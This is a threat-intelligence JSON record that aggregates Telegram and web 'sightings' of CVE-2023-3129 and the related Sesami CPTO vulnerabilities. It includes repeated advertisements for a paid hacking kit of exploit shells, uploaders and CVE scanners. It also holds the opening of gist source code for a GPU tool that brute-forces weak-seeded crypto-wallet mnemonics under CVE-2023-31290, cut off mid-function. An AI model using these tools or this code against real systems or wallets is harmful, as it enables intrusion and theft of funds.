{"vulnerability": "cve-2023-3129", "sightings": [{"uuid": "5a104df0-f536-4e7f-87d7-3459257bf381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31292", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12353", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31292\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Sesami Cash Point &amp; Transport Optimizer (CPTO) 6.3.8.6 (#718), allows local attackers to obtain sensitive information and bypass authentication via \"Back Button Refresh\" attack.\n\ud83d\udccf Published: 2023-12-29T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-17T20:26:21.517Z\n\ud83d\udd17 References:\n1. https://herolab.usd.de/en/security-advisories/usd-2022-0051/", "creation_timestamp": "2025-04-17T20:58:25.000000Z"}, {"uuid": "b8551fb0-f145-454d-82a4-9447db46882a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "https://t.me/SyrianElectronicArmyTEAM/3370", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu &amp; Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime &amp; Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-19T15:32:10.000000Z"}, {"uuid": "a9082a2c-272f-4162-99bc-31c8f22de5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "exploited", "source": "Telegram/JnH6PMCRXmemhB1HYnzKRTjCpyWUKfypC8rBmIVNn2RsVf8R", "content": "", "creation_timestamp": "2025-01-30T23:28:04.000000Z"}, {"uuid": "5c279819-48a5-4d5e-882a-7209d308ddd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "Telegram/M-RM6JUeRS-yLbXH47dffFKYpTJTdkiqAiI6xYlcLmjs7Mv7LQ", "content": "", "creation_timestamp": "2024-09-19T15:32:04.000000Z"}, {"uuid": "cfabe00d-8300-435a-ba06-e463b2d53172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "Telegram/RDVp2vOk6EiTX4SOJlKW-Uun4ltPNUHnHI-9KHiknRLfnJ55dQ", "content": "", "creation_timestamp": "2024-09-21T06:29:38.000000Z"}, {"uuid": "b25c13fd-2c02-4c78-9673-8ad9133dea34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "Telegram/-hVcj7RVS3QqYv1t3HP5vibVGlkq1PqMw8vAQDK6cSqIsGHo1g", "content": "", "creation_timestamp": "2024-09-20T10:03:40.000000Z"}, {"uuid": "14c1c106-e961-4308-ae74-bf9b25649b42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31299", "type": "seen", "source": "https://t.me/cibsecurity/73899", "content": "\u203c\ufe0fCVE-2023-31299\u203c\ufe0f\n\nCross Site Scripting XSS vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to execute arbitrary code via the Barcode field of a container.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:34:31.000000Z"}, {"uuid": "455d8401-2046-4d84-a866-cb519ab4990b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31298", "type": "seen", "source": "https://t.me/cibsecurity/73862", "content": "\u203c\ufe0fCVE-2023-31298\u203c\ufe0f\n\nCross Site Scripting XSS vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to execute arbitrary code and obtain sensitive information via the User ID field when creating a new system user.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:31:29.000000Z"}, {"uuid": "cc20e3fc-30c4-4645-8e70-7c01d47444ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31292", "type": "seen", "source": "https://t.me/cibsecurity/73861", "content": "\u203c\ufe0fCVE-2023-31292\u203c\ufe0f\n\nAn issue was discovered in Sesami Cash Point  Transport Optimizer CPTO 6.3.8.6 718, allows local attackers to obtain sensitive information and bypass authentication via \"Back Button Refresh\" attack.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:31:24.000000Z"}, {"uuid": "25f7091b-f389-4939-9a5d-ad69bc5b56c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31295", "type": "seen", "source": "https://t.me/cibsecurity/73902", "content": "\u203c\ufe0fCVE-2023-31295\u203c\ufe0f\n\nCSV Injection vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to obtain sensitive information via the User Profile field.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:34:46.000000Z"}, {"uuid": "4ca5e055-cb07-440b-995b-38f7bdab8dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31296", "type": "seen", "source": "https://t.me/cibsecurity/73883", "content": "\u203c\ufe0fCVE-2023-31296\u203c\ufe0f\n\nCSV Injection vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows attackers to obtain sensitive information via the User Name field.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:33:13.000000Z"}, {"uuid": "febfa502-dc78-4f55-a2b9-f2eeec354965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31294", "type": "seen", "source": "https://t.me/cibsecurity/73877", "content": "\u203c\ufe0fCVE-2023-31294\u203c\ufe0f\n\nCSV Injection vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to obtain sensitive information via the Delivery Name field.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:32:43.000000Z"}, {"uuid": "08f611b6-a9a8-435d-b41a-491b951812ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31293", "type": "seen", "source": "https://t.me/cibsecurity/73876", "content": "\u203c\ufe0fCVE-2023-31293\u203c\ufe0f\n\nAn issue was discovered in Sesami Cash Point  Transport Optimizer CPTO 6.3.8.6 718, allows remote attackers to obtain sensitive information and bypass profile restriction via improper access control in the Reader system user's web browser, allowing the journal to be displayed, despite the option being disabled.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:32:38.000000Z"}, {"uuid": "166f6aaa-c32f-4071-b785-676a5f953f09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "https://t.me/JATENGSEMARANG/1563", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu &amp; Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime &amp; Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-20T10:03:43.000000Z"}, {"uuid": "e3e1134a-217a-41d7-b9dd-deb38d63c6e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "https://t.me/JATENGSEMARANG/1545", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu &amp; Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime &amp; Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-19T15:32:09.000000Z"}, {"uuid": "27882243-5181-447f-a833-b3899eb260a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31294", "type": "seen", "source": "https://t.me/ctinow/170650", "content": "https://ift.tt/psABQoz\nCVE-2023-31294 | Sesami Cash Point &amp; Transport Optimizer 6.3.8.6 Delivery Name csv injection (usd-2022-0052)", "creation_timestamp": "2024-01-20T15:17:14.000000Z"}, {"uuid": "58c23993-24e5-4f49-9e92-353fa9f4e2d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31295", "type": "seen", "source": "https://t.me/ctinow/170648", "content": "https://ift.tt/SN6Mwrd\nCVE-2023-31295 | Sesami Cash Point &amp; Transport Optimizer 6.3.8.6 User Profile Field csv injection (usd-2022-0053)", "creation_timestamp": "2024-01-20T15:17:12.000000Z"}, {"uuid": "bc0ed6d3-953a-4374-a090-0710f2e20fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31293", "type": "seen", "source": "https://t.me/ctinow/170646", "content": "https://ift.tt/VRvCStF\nCVE-2023-31293 | Sesami Cash Point &amp; Transport Optimizer 6.3.8.6 information disclosure (usd-2022-0061)", "creation_timestamp": "2024-01-20T15:17:09.000000Z"}, {"uuid": "057bc487-5e90-4d57-97a3-9af9cbc0d31d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31299", "type": "seen", "source": "https://t.me/ctinow/170670", "content": "https://ift.tt/JPb5Tk4\nCVE-2023-31299 | Sesami Cash Point &amp; Transport Optimizer 6.3.8.6 Barcode cross site scripting (usd-2022-0055)", "creation_timestamp": "2024-01-20T16:51:42.000000Z"}, {"uuid": "679c0ed9-db53-406f-aef4-7b9d97f87646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31296", "type": "seen", "source": "https://t.me/ctinow/170665", "content": "https://ift.tt/icdjFmR\nCVE-2023-31296 | Sesami Cash Point &amp; Transport Optimizer 6.3.8.6 User Name information disclosure (usd-2022-0054)", "creation_timestamp": "2024-01-20T16:16:33.000000Z"}, {"uuid": "f8006aaf-fdc9-408d-b0e9-0dcd236d50c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31298", "type": "seen", "source": "https://t.me/ctinow/170662", "content": "https://ift.tt/VTRl1Io\nCVE-2023-31298 | Sesami Cash Point &amp; Transport Optimizer 6.3.8.6 User ID cross site scripting (usd-2022-0060)", "creation_timestamp": "2024-01-20T16:16:29.000000Z"}, {"uuid": "a3bd0294-9112-41e9-9519-e4b23ea72151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31292", "type": "seen", "source": "https://t.me/ctinow/170656", "content": "https://ift.tt/NH6Q5CY\nCVE-2023-31292 | Sesami Cash Point &amp; Transport Optimizer 6.3.8.6 Back Button Refresh information disclosure (usd-2022-0051)", "creation_timestamp": "2024-01-20T15:46:08.000000Z"}, {"uuid": "47561291-f33f-4363-9d6c-46e2e3405f1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31296", "type": "seen", "source": "https://t.me/ctinow/160328", "content": "https://ift.tt/j45MG9w\nCVE-2023-31296", "creation_timestamp": "2023-12-29T05:26:48.000000Z"}, {"uuid": "ede491f4-5f65-4708-b1de-cd7df132d644", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31298", "type": "seen", "source": "https://t.me/ctinow/160289", "content": "https://ift.tt/fGSBHTz\nCVE-2023-31298", "creation_timestamp": "2023-12-29T03:26:21.000000Z"}, {"uuid": "8722a70c-3432-46b0-808f-a06435d5ff87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31292", "type": "seen", "source": "https://t.me/ctinow/160288", "content": "https://ift.tt/ND8wWFY\nCVE-2023-31292", "creation_timestamp": "2023-12-29T03:26:20.000000Z"}, {"uuid": "a930c0c6-358f-4385-b524-0143ecc34b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31294", "type": "seen", "source": "https://t.me/ctinow/160315", "content": "https://ift.tt/b6jMJAG\nCVE-2023-31294", "creation_timestamp": "2023-12-29T04:26:33.000000Z"}, {"uuid": "c3a36f5d-cce4-4f09-8a35-9e15e60f308a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31293", "type": "seen", "source": "https://t.me/ctinow/160314", "content": "https://ift.tt/iOteGjr\nCVE-2023-31293", "creation_timestamp": "2023-12-29T04:26:32.000000Z"}, {"uuid": "67c8e00d-37d8-43e1-a3a7-faa226f10457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31295", "type": "seen", "source": "https://t.me/ctinow/160356", "content": "https://ift.tt/syd1rhZ\nCVE-2023-31295", "creation_timestamp": "2023-12-29T07:26:43.000000Z"}, {"uuid": "1fa2e1e7-1f97-4cdd-a87c-e5e5ed897868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31299", "type": "seen", "source": "https://t.me/ctinow/160349", "content": "https://ift.tt/UCZ5Fy3\nCVE-2023-31299", "creation_timestamp": "2023-12-29T06:26:39.000000Z"}, {"uuid": "dd4ff24a-bcef-4b11-9427-1d70499da132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31297", "type": "seen", "source": "https://t.me/ctinow/159158", "content": "https://ift.tt/Kk3Eu6o\nCVE-2023-31297", "creation_timestamp": "2023-12-25T08:26:21.000000Z"}, {"uuid": "9049801b-5351-4fb4-acca-974e65442d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "exploited", "source": "https://t.me/FanatixRipperNews/693", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu &amp; Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime &amp; Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-19T15:32:04.000000Z"}, {"uuid": "40b9327e-99da-49d8-905b-e4ae5cd54f55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "exploited", "source": "https://t.me/FanatixRipperNews/726", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu &amp; Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime &amp; Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-21T06:29:38.000000Z"}, {"uuid": "6d6b2bf6-19b5-47e9-8e2e-e6f532cc3862", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/82fa3706-d736-412c-8b0f-27cbb5929df7", "content": "", "creation_timestamp": "2026-06-19T12:46:55.914225Z"}, {"uuid": "9806af1a-12b7-4029-ad62-996a52588723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/39bdf8e7c7e62c1fca8b12fc511d87bd", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  